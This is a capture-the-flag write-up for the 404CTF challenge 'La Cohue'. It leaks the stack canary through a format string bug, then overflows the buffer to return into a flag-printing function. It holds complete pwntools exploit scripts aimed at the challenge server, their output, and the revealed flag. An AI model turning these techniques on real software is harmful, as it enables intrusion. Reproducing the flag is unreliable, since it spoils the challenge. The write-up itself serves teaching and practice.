La Cohue
The challenge gives us an ELF file la_cohue. Using the command file la_cohue
and checksec la_cohue
to get some infomations about it.
1
2
$ file la_cohue
la_cohue: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=56ad00dfd261c3bad8d131b25708d9c7e861ccda, not stripped
1
2
3
4
5
6
7
8
$ checksec la_cohue
[*] '~/404CTF/la_cohue'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
From the provided commands output, we can gather some interesting information about the file. It is identified as an “ELF 64-bit” file and it appears to be “not stripped”. It’s protected by NX
(We can’t run the shellcode by injecting it into the stack) and Canary found
(That is to say that this file has canary in the stack when executing). To further analyze the file and gather more information for potential exploitation, we can utilize Ghidra, a powerful reverse engineering tool. Ghidra will allow us to read and analyze the file, providing deeper insights into its structure and functionality.
The main
function isn’t all that interesting, so we’ll take a look at the choice
function.
Based on the information available, it appears that the mentioned function is vulnerable to two specific types of attacks: Format String Vulnerability and Return-Oriented Programming (ROP) as shown in the images below.
Format String Vuln
ROP
We also find a very interesting function in this ELF file. It’s the canary()
function. When invoked, this function will provide us with the flag. It suggests that calling this specific function is crucial to obtaining the desired flag.
Exploit Scenario
Step 1: Taking advantage of the Format String vulnerability to leak canary
(Canary is an 8 byte hexa number that always ends with two zeros and the rest of the numbers change randomly each time we execute the ELF file)
Step 2: After successfully leaking the canary value, we can proceed to bypass the canary binary protection. We have identified that the ELF file lacks Position Independent Executable (PIE) protection, meaning that the address of each instruction remains the same every time the program is launched. Leveraging this knowledge, we can employ Return-Oriented Programming (ROP) techniques.
To call the canary() function using ROP, we can construct a payload with the following format:
payload = 'A'*72 + canary + 'B'*8 + address_of_canary_function
Code
fuzz.py - leak canary
If you know about the format string attack, you will know that each %p or %x will lead to reading the stack to the higher address. This means that if we spam a lot of %x or %p, we will eventually read the return address of the current function and also the canary. (But at the moment we don’t need the address of current function)
Therefore, we can leak the return address using the code below. I split each %p so that I can split them and then use a FOR loop to know which index of %p contains the canary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.update(arch="amd64", os="linux")
# r = process("./la_cohue")
r = remote("challenges.404ctf.fr", 30223)
r.recvuntil(b">>>")
r.sendline(b'2')
p_A = b""
p50_p = b" %p" * 20
r.sendline(p_A + p50_p)
r.recvuntil(b"[Vous] : ")
result = str(r.recvline()).split(' ')
for i in range(len(result)):
print("[" + str(i) + "]: " + result[i])
r.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[+] Opening connection to challenges.404ctf.fr on port 30223: Done
[0]: b'
[1]: 0x7ffce2c08980
[2]: 0x7f88d94cf8c0
[3]: (nil)
[4]: 0x9
[5]: 0x7f88d94cf8d0
[6]: (nil)
[7]: 0x20000e760
[8]: 0x2520702520702520
[9]: 0x2070252070252070
[10]: 0x7025207025207025
[11]: 0x2520702520702520
[12]: 0x2070252070252070
[13]: 0x7025207025207025
[14]: 0x2520702520702520
[15]: 0xa70252070
[16]: 0x7ffce2c0b0a0
[17]: 0x3ac7b7ded693ef00
[18]: 0x7ffce2c0b0a0
[19]: 0x400b06
[20]: 0x7ffce2c0b188\n'
[*] Closed connection to challenges.404ctf.fr port 30223
After running the file multiple times, we have observed that the canary is located at position [17]. Based on this information, we can construct the exploit program as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch = "amd64"
context.os = "linux"
# p = process("./la_cohue")
p = remote("challenges.404ctf.fr", 30223)
p.recvuntil(b">>>")
p.sendline(b"2")
# After using fuzz.py, We know that canary is located at 17th postions. Consequently, use directly %17$p to leak the 17th postion
p.sendline(b'%17$p')
re_cana = p.recvuntil(b'Que')[9:-5]
canary = int(re_cana.decode(),16)
log.success(f'Canary: {hex(canary)}')
p.recvuntil(b">>>")
p.sendline(b'1')
p.recv()
# the payload has the form 'A'*72 (to reach the canary) + canary + 8 bytes to overwrite the `old rbp` + return address
p.sendline(b'A'*72+p64(canary)+b'B'*8+p64(0x400877))
p.recv()
p.sendline(b'3')
print(p.recvall().decode())
1
2
3
4
5
6
7
8
9
10
11
12
13
[+] Opening connection to challenges.404ctf.fr on port 30223: Done
[+] Canary: 0x5daaac6def037000
[+] Receiving all data: Done (321B)
[*] Closed connection to challenges.404ctf.fr port 30223
[Francis] : Je vous laisse mettre votre plan à éxécution.
Que faites-vous ?
1 : Aller voir Francis
2 : Réfléchir à un moyen de capturer le canari
3 : Vaquer à vos occupations
>>> Je vous suis infiniment reconnaissant d'avoir retrouvé mon canari.
404CTF{135_C4N4r15_41M3N7_14_C0MP46N13_N3_135_141553Z_P45_53U15}
Flag: 404CTF{135_C4N4r15_41M3N7_14_C0MP46N13_N3_135_141553Z_P45_53U15}